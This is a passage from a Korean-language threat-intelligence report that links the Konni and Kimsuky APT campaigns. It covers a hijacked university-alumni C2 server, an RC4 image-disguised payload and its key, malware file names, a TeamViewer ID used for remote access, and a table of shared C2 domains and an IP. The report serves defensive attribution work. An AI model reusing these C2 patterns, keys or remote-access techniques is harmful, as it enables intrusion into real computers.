C2 서버는 한국 중앙대학교 총동문회 웹 사이트(rotcian[.]com)가 해킹되어 악용되었으며, 감염된 컴퓨터 명을 인자 값으로 받아 추가 악성파일 다운로드에 활용합니다.

- http://rotcian[.]com/host/img/jpg/download.php?filename=Base64(컴퓨터명)

추가로 받아지는 파일은 동일한 C2에 마치 이미지 파일처럼 위장되어 숨겨져 있고, RC4 알고리즘으로 암호화되어 있습니다.

[그림 26] C2에 이미지로 위장돼 숨겨져 있는 추가 페이로드

해당 파일의 복호화 키는 김수키 시리즈에서 지속적으로 발견된 바 있는 'www.GoldDragon.com' 이며, 키는 여러차례 변경된 바 있습니다.

2013년 전후부터 동일한 공격 벡터가 현재까지도 사용되고 있으며, HWP 쉘코드와 내부 데이터들이 부분적으로 재활용되고 있습니다.

[그림 27] 동일한 공격 벡터와 유사 키값이 활용된 과거 스피어 피싱 화면

2018년 11월경 RC4 알고리즘 기반으로 암호화된 형태로 유포된 'down.jpg' 파일은 쉘코드에 의해 복호화되고, 이용자 컴퓨터에 'hupdate.ex' 파일명으로 생성되고 실행됩니다.

'hupdate.ex' 파일은 한국어 리소스로 제작된 DLL 라이브러리 파일이며, 로딩이 되면 시작 프로그램 경로(Startup)에 'viso.exe' 악성 파일을 추가로 등록하며, 'Public' 경로에 'set.log' 파일을 생성합니다.

해당 로그 파일에는 팀뷰어 아이디(ID = 1 030 973 646) 데이터가 포함되어 있으며, 공격자가 감염된 컴퓨터로 원격 접속할 수 있도록 설정합니다.

또한, 코니 시리즈에서 공개됐던 내용과 동일하게 'Gongstrong' 문자열과 함께 커스텀 팀뷰어 기능을 수행하게 됩니다. 팀뷰어 아이디는 다양한 형태가 보고된 바 있습니다.

[그림 28] 김수키 HWP 취약점 설치 파일 코드가 코니 커스텀 팀뷰어 전술과 동일

코니 캠페인의 최종 페이로드와 김수키의 암호화된 파일기능이 정확히 일치한다는 것이 확인되었습니다.

이외에도 김수키 시리즈에서 생성되는 'viso.exe' 파일명과 동일한 형태 중에서 'EGIS Co,' 디지털 서명이 악용된 사례가 존재합니다.

해당 시리즈는 【거대 위협으로 다가온, 특명 '자이언트 베이비(Operation Giant Baby)'】 리포트와도 연결된다는 점을 간과해서는 안됩니다.

[그림 29] EGIS 서명이 포함된 'viso.exe' 악성 파일 사례

■ 코니와 김수키 조직간 C2 유사성 비교

코니 (Konni)	김수키 (Kimsuky)
naoei3-tosma.96[.]lt	naver-security-mail.96[.]lt
naiei-aldiel.16mb[.]com	carolie-svr-v1.16mb[.]com
upgradesrv.890m[.]com	oeks39402.890m[.]com my-homework.890m[.]com

202.168.155[.]156	202.168.155[.]156

코니와 김수키 조직의 침해지표에서 발견된 C2 서버의 도메인과 아이피 주소 중 일부 흡사하거나 동일한 사례가 목격되었고, 이러한 근거자료는 충분히 합리적으로 의심해 볼 수 있습니다.

물론, 제한된 내용만으로 특정 APT 실체를 밝히는 것은 그리 쉬운 문제가 아닙니다. 수 많은 악성 파일 표본과 다양한 분석지표를 통해 보다 명확한 정답에 근접하고자 하는 끝없는 과정 중 하나일 뿐입니다.

모든 디지털 증거 기반의 증거가 완벽할 수는 없지만, 그렇다고 단순 우연의 일치나 고도의 조작으로 보기에 어려울 정도로 다양한 형태에서 유사한 점을 찾아볼 수 있습니다.

ESRC는 본 보고서를 통해 코니의 배후를 밝히는데 있어 조금이나마 참고가 될 수 있기를 기대하며, 관련된 침해지표(IoC) 내용들은 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 별도로 제공할 예정입니다.